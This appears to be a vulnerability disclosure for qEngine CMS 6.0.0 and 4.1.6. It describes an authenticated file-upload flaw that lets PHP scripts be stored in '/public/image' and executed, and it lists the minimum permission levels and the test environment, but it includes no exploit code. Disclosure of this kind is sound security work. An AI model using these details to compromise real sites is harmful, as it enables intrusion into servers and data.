qEngine CMS 6.0.0 Remote Code Execution  
  
  
Vendor: C97net  
Product web page: http://www.c97.net  
Affected version: 6.0.0 and 4.1.6  
  
Summary: qEngine (qE) is a lightweight, fast, yet feature packed  
CMS script to help you building your site quickly. Using template  
engine to separate the php codes from the design, you don't need  
to touch the codes to design your web site. qE is also expandable  
by using modules.  
  
Desc: qEngine CMS suffers from an authenticated arbitrary code  
execution. The vulnerability is caused due to the improper verification  
of uploaded files in several modules thru several POST parameters.  
This can be exploited to execute arbitrary PHP code by uploading  
a malicious PHP script file that will be stored in '/public/image'  
directory. Minimum permissions needed for a user to upload any file:  
  
User level: Regular (param: user_level=1)  
Admin level: Editor (param: admin_level=3)  
  
Only the 'Super Admin' level makes the Tool 'File Manager' available.  
  
  
Tested on: Apache/2.4.7 (Win32)  
PHP/5.5.6  
MySQL 5.6.14
